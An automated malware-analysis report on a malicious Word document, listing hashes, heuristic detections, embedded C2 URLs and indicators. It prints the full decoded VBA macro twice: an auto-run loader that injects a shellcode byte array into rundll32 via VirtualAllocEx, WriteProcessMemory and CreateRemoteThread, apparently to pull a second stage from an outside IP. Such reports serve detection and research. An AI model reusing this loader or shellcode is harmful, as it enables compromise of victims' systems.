Office (OLE) malware analysis — malicious · aef703b3c0222fae

MALICIOUS

Office (OLE)

290.5 KB Created: 2019-04-24 08:27:00 Authoring application: Microsoft Office Word First seen: 2019-05-16

MD5: 8e97fb9ae61276078d02a0f96796b53e SHA-1: 1ef4f6d7a8bf28e855458f55ccbaa322152ffffd SHA-256: aef703b3c0222fae2afdbdf558cfef1aa327c06608d4c583a9c1a6dcaa169c47

454 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that leverage Windows API calls such as CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread, indicating an attempt to inject code into a running process. The presence of mshta.exe and the embedded URL http://198.100.119.6:80/cd strongly suggest the macro is designed to download and execute a second-stage payload. The ClamAV detection 'Doc.Macro.Injection-6355574-0' further supports the malicious nature of the file.

Heuristics 15

ClamAV: Doc.Macro.Injection-6355574-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Macro.Injection-6355574-0
Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY

Reference to WriteProcessMemory API
Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREAD

Reference to CreateRemoteThread API
VBA macros detected medium 5 related findings OLE_VBA_MACROS

Document contains VBA macro code

LOLBin reference in VBA critical OLE_VBA_LOLBIN

LOLBin reference in VBA

Matched line in script

    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else

AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Sub
Sub AutoOpen()
    Auto_Open
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
End Sub
Sub Workbook_Open()
    Auto_Open
```

Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro

Matched line in script

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long

Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)

Matched line in script

-123, -64, 116, -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -87, -3, -1, -1, 49, 54, 53, 46, 50, 50, 46, 55, 49, 46, 52, 50, 0, 18, 33, 93, 127)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"

Reference to CreateProcess API high SC_STR_CREATEPROCESS

Reference to CreateProcess API
Reference to mshta.exe high SC_STR_MSHTA

Reference to mshta.exe
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC

Reference to VirtualAlloc API
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://198.100.119.6:80/cd In macro / runtime command snippet
- http://198.100.119.6:443/cdIn document text (OLE body)
- http://198.100.119.6:8080/cdIn document text (OLE body)
- http://198.100.119.6:80/cd�In macro / runtime command snippet
- http://198.100.119.6In macro / runtime command snippet
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10667 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	10667 bytes
SHA-256: `ecd236cbff30ae2f2c213b616f90b8231c8e91ba75b879655bc5ef83ae3aca41`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type Private Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As Long End Type #If VBA7 Then Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long #Else Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long #End If Sub Auto_Open() Dim myByte As Long, myArray As Variant, offset As Long Dim pInfo As PROCESS_INFORMATION Dim sInfo As STARTUPINFO Dim sNull As String Dim sProc As String #If VBA7 Then Dim rwxpage As LongPtr, res As LongPtr #Else Dim rwxpage As Long, res As Long #End If myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _ 13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _ -42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _ -117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _ -43, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -124, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, 80, 0, 0, 0, 83, 80, 104, 87, -119, -97, _ -58, -1, -43, -21, 112, 91, 49, -46, 82, 104, 0, 2, 96, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, 80, 49, -1, 87, 87, 106, -1, 83, 86, _ 104, 45, 6, 24, 123, -1, -43, -123, -64, 15, -124, -61, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, _ -43, 49, -1, 87, 106, 7, 81, 86, 80, 104, -73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 116, -73, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, -117, -1, _ -1, -1, 47, 97, 85, 49, 117, 0, 126, 55, -62, -35, 87, 76, 64, 6, 125, -33, -120, 77, -58, 36, -115, -103, 104, -115, 62, 88, 103, -94, 123, 1, 4, 37, 35, -51, -79, 33, 57, -83, _ 8, -43, 17, 18, 72, -47, -32, 108, -56, -75, 11, 58, -35, 119, -6, -67, 19, -34, -28, 11, -118, -106, 68, 85, 40, -105, 85, 10, 40, -55, -60, 13, 17, -23, 40, 76, -66, -93, -62, 93, _ 116, 0, 85, 115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 99, 111, 109, 112, 97, 116, 105, 98, 108, 101, 44, 32, 77, _ 83, 73, 69, 32, 49, 49, 44, 32, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 51, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 55, 46, 48, 59, 32, 32, 114, 118, _ 58, 49, 49, 46, 48, 41, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111, 13, 10, 0, -45, -41, -69, 3, -121, -109, -85, 121, -29, -35, -39, 86, 77, -93, -93, -51, 96, 117, -90, -105, _ -53, 74, -3, -45, -123, -104, 62, -3, 107, 107, -85, -62, -99, -62, -76, 31, 46, 62, 44, -68, 39, -11, 74, -37, -93, 109, -35, 40, -16, 94, 53, -45, 63, -104, -61, 121, -45, 22, 59, 124, _ -108, -84, -124, 11, -72, -70, -20, 27, 75, 74, 39, -108, 106, -118, -26, 33, -16, -5, 1, 106, -114, 91, -46, 30, -100, 44, 71, 52, -85, -98, -32, -17, -59, -84, 3, -74, 112, 63, 92, 61, _ -112, 66, -35, -37, 125, 83, -16, 81, 29, -18, 83, -76, 79, 60, -43, -123, -8, 74, -38, -2, -126, 61, 74, -107, -99, -51, 115, 107, 14, -54, 68, -125, -31, -127, -48, 65, -104, -5, -96, -14, _ 76, 15, -4, -18, -75, 66, -7, -27, -122, -126, -27, 31, -105, -92, 89, -86, 82, -95, -68, -20, -74, -74, 62, 118, -42, 99, 73, -92, 39, 47, -72, 43, 26, 17, -71, 6, -94, 79, -34, -85, _ 5, -70, -18, -107, 80, 104, -126, 63, -13, 119, 92, -94, 8, -11, -59, 27, -65, -13, -22, -5, 78, -53, 45, -29, 96, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, _ 104, 0, 0, 64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, _ -123, -64, 116, -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -87, -3, -1, -1, 49, 54, 53, 46, 50, 50, 46, 55, 49, 46, 52, 50, 0, 18, 33, 93, 127) If Len(Environ("ProgramW6432")) > 0 Then sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe" Else sProc = Environ("windir") & "\\System32\\rundll32.exe" End If res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo) rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40) For offset = LBound(myArray) To UBound(myArray) myByte = myArray(offset) res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&) Next offset res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0) 'def pjw_hash(s): ' ctr = 0 ' for i in range(len(s)): ' ctr = 0xffffffff & ((ctr << 4) + ord(s[i])) ' if ctr & 0xf0000000: ' ctr = (((ctr & 0xf0000000) >> 24) ^ ctr) & 0x0fffffff ' ' ' ' return ctr ' 4116ec1eb75cf336a3fdde253c28f712668d0a325a74c41445c7fa87c4e9b7a5 ' 2549f116adbbfeeecf7596e6381bb43c ' 8a12453015658a505dd6f473de7a881900d8a769 ' RAR archive data, v1d, os: Win32 ' 52 61 72 21 1A 07 00 ' 52 61 72 21 1A 07 01 00 ' 783b2eefdb90eb78cfda475073422ee86476aca65d67ff2c9cf6a6f9067ba5fa ' 06efd1354b7418198c66a78ff3e68e59 ' 666c0ef12715e0d554ff4080ccdc6af8898cbc65 ' \bot.dll ' \botep\.gitignore ' application/x-rar-compressed ' DNS_TXT ' TEXTMATE ' POWERSOURCE ' Intel\58d2a83f7778d5.36783181.vbs ' Intel\58d2a83f777942.26535794.ps1 ' Intel\58d2a83f777908.23270411.vbs ' 58d2a83f7778d5.36783181.vbs ' 58d2a83f777942.26535794.ps1 ' stage.14919005.www1.proslr3.com ' aaa.stage.14919005.www1.proslr3.com ' \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777638.60220156.ini ' \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777688.78384945.ps1 ' \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f7776b5.64953395.txt ' \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f7776e0.72726761.vbs ' \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777716.48248237.vbs ' \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777788.86541308.vbs ' \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\Foxconn.lnk ' mshta.exe ' http://198.100.119.6:80/cd ' http://198.100.119.6:443/cd ' http://198.100.119.6:8080/cd 'Function send_data(data) ' random_string = custom_function_to_generate_random_string() ' encoded_data = URLEncode(SimpleEncrypt(data)) ' post_data("POST”, random_string & "=" & encoded_data, Hard_coded_c2_url, 'Create_Random_Url(class_id)) 'Version: 0 'NetBIOS Name: andy -pc 'Droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca 'Droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268 'Birth droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca 'Birth droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268 'MAC address: 08:00:27:3d:52:68 'UUID timestamp: 03/21/2017 (12:12:28.500) [UTC] 'UUID sequence number: 2861 ' 6a5a42ed234910121dbb7d1994ab5a5e ' 1a9e113b2f3caa7a141a94c8bc187ea7 ' C:\Windows\AppPatch\Custom ' C:\Windows\AppPatch\Custom\Custom64 ' \REGISTRY\MACHINE\SOFTWARE\Microsoft\DRM ' ScRegisterTCPEndpoint ' 0x0001407c ' HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom ' HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB ' sdbinst.exe ' ???? ' ?????? ' ????? ' ?????? ' ???? ' ?????? ' ?????? ' ??????? End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub

SHA-256: ecd236cbff30ae2f2c213b616f90b8231c8e91ba75b879655bc5ef83ae3aca41

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String

#If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
#Else
    Dim rwxpage As Long, res As Long
#End If
    myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _
-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _
-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _
-43, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -124, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, 80, 0, 0, 0, 83, 80, 104, 87, -119, -97, _
-58, -1, -43, -21, 112, 91, 49, -46, 82, 104, 0, 2, 96, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, 80, 49, -1, 87, 87, 106, -1, 83, 86, _
104, 45, 6, 24, 123, -1, -43, -123, -64, 15, -124, -61, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, _
-43, 49, -1, 87, 106, 7, 81, 86, 80, 104, -73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 116, -73, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, -117, -1, _
-1, -1, 47, 97, 85, 49, 117, 0, 126, 55, -62, -35, 87, 76, 64, 6, 125, -33, -120, 77, -58, 36, -115, -103, 104, -115, 62, 88, 103, -94, 123, 1, 4, 37, 35, -51, -79, 33, 57, -83, _
8, -43, 17, 18, 72, -47, -32, 108, -56, -75, 11, 58, -35, 119, -6, -67, 19, -34, -28, 11, -118, -106, 68, 85, 40, -105, 85, 10, 40, -55, -60, 13, 17, -23, 40, 76, -66, -93, -62, 93, _
116, 0, 85, 115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 99, 111, 109, 112, 97, 116, 105, 98, 108, 101, 44, 32, 77, _
83, 73, 69, 32, 49, 49, 44, 32, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 51, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 55, 46, 48, 59, 32, 32, 114, 118, _
58, 49, 49, 46, 48, 41, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111, 13, 10, 0, -45, -41, -69, 3, -121, -109, -85, 121, -29, -35, -39, 86, 77, -93, -93, -51, 96, 117, -90, -105, _
-53, 74, -3, -45, -123, -104, 62, -3, 107, 107, -85, -62, -99, -62, -76, 31, 46, 62, 44, -68, 39, -11, 74, -37, -93, 109, -35, 40, -16, 94, 53, -45, 63, -104, -61, 121, -45, 22, 59, 124, _
-108, -84, -124, 11, -72, -70, -20, 27, 75, 74, 39, -108, 106, -118, -26, 33, -16, -5, 1, 106, -114, 91, -46, 30, -100, 44, 71, 52, -85, -98, -32, -17, -59, -84, 3, -74, 112, 63, 92, 61, _
-112, 66, -35, -37, 125, 83, -16, 81, 29, -18, 83, -76, 79, 60, -43, -123, -8, 74, -38, -2, -126, 61, 74, -107, -99, -51, 115, 107, 14, -54, 68, -125, -31, -127, -48, 65, -104, -5, -96, -14, _
76, 15, -4, -18, -75, 66, -7, -27, -122, -126, -27, 31, -105, -92, 89, -86, 82, -95, -68, -20, -74, -74, 62, 118, -42, 99, 73, -92, 39, 47, -72, 43, 26, 17, -71, 6, -94, 79, -34, -85, _
5, -70, -18, -107, 80, 104, -126, 63, -13, 119, 92, -94, 8, -11, -59, 27, -65, -13, -22, -5, 78, -53, 45, -29, 96, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, _
104, 0, 0, 64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, _
-123, -64, 116, -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -87, -3, -1, -1, 49, 54, 53, 46, 50, 50, 46, 55, 49, 46, 52, 50, 0, 18, 33, 93, 127)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
        sProc = Environ("windir") & "\\System32\\rundll32.exe"
    End If

    res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

    rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
    For offset = LBound(myArray) To UBound(myArray)
        myByte = myArray(offset)
        res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
    Next offset
    res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)

'def pjw_hash(s):
'    ctr = 0
'    for i in range(len(s)):
'        ctr = 0xffffffff & ((ctr << 4) + ord(s[i]))
'        if ctr & 0xf0000000:
'            ctr = (((ctr & 0xf0000000) >> 24) ^ ctr) & 0x0fffffff
'
'
'
'    return ctr

' 4116ec1eb75cf336a3fdde253c28f712668d0a325a74c41445c7fa87c4e9b7a5
' 2549f116adbbfeeecf7596e6381bb43c
' 8a12453015658a505dd6f473de7a881900d8a769
' RAR archive data, v1d, os: Win32
' 52 61 72 21 1A 07 00
' 52 61 72 21 1A 07 01 00

' 783b2eefdb90eb78cfda475073422ee86476aca65d67ff2c9cf6a6f9067ba5fa
' 06efd1354b7418198c66a78ff3e68e59
' 666c0ef12715e0d554ff4080ccdc6af8898cbc65

' \bot.dll
' \botep\.gitignore
' application/x-rar-compressed

' DNS_TXT
' TEXTMATE
' POWERSOURCE

' Intel\58d2a83f7778d5.36783181.vbs
' Intel\58d2a83f777942.26535794.ps1
' Intel\58d2a83f777908.23270411.vbs

' 58d2a83f7778d5.36783181.vbs
' 58d2a83f777942.26535794.ps1

' stage.14919005.www1.proslr3.com
' aaa.stage.14919005.www1.proslr3.com

' \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777638.60220156.ini
' \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777688.78384945.ps1
' \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f7776b5.64953395.txt
' \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f7776e0.72726761.vbs
' \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777716.48248237.vbs
' \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777788.86541308.vbs
' \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\Foxconn.lnk

' mshta.exe

' http://198.100.119.6:80/cd
' http://198.100.119.6:443/cd
' http://198.100.119.6:8080/cd

'Function send_data(data)
'                random_string = custom_function_to_generate_random_string()
'                encoded_data = URLEncode(SimpleEncrypt(data))
'                post_data("POST”, random_string & "=" & encoded_data, Hard_coded_c2_url,
'Create_Random_Url(class_id))

'Version: 0
'NetBIOS Name: andy -pc
'Droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca
'Droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268
'Birth droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca
'Birth droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268
'MAC address: 08:00:27:3d:52:68
'UUID timestamp: 03/21/2017 (12:12:28.500) [UTC]
'UUID sequence number: 2861

' 6a5a42ed234910121dbb7d1994ab5a5e
' 1a9e113b2f3caa7a141a94c8bc187ea7

' C:\Windows\AppPatch\Custom
' C:\Windows\AppPatch\Custom\Custom64

' \REGISTRY\MACHINE\SOFTWARE\Microsoft\DRM
' ScRegisterTCPEndpoint
' 0x0001407c
' HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom
' HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB

' sdbinst.exe

' ????
' ??????
' ?????
' ??????
' ????
' ??????
' ??????
' ???????

End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.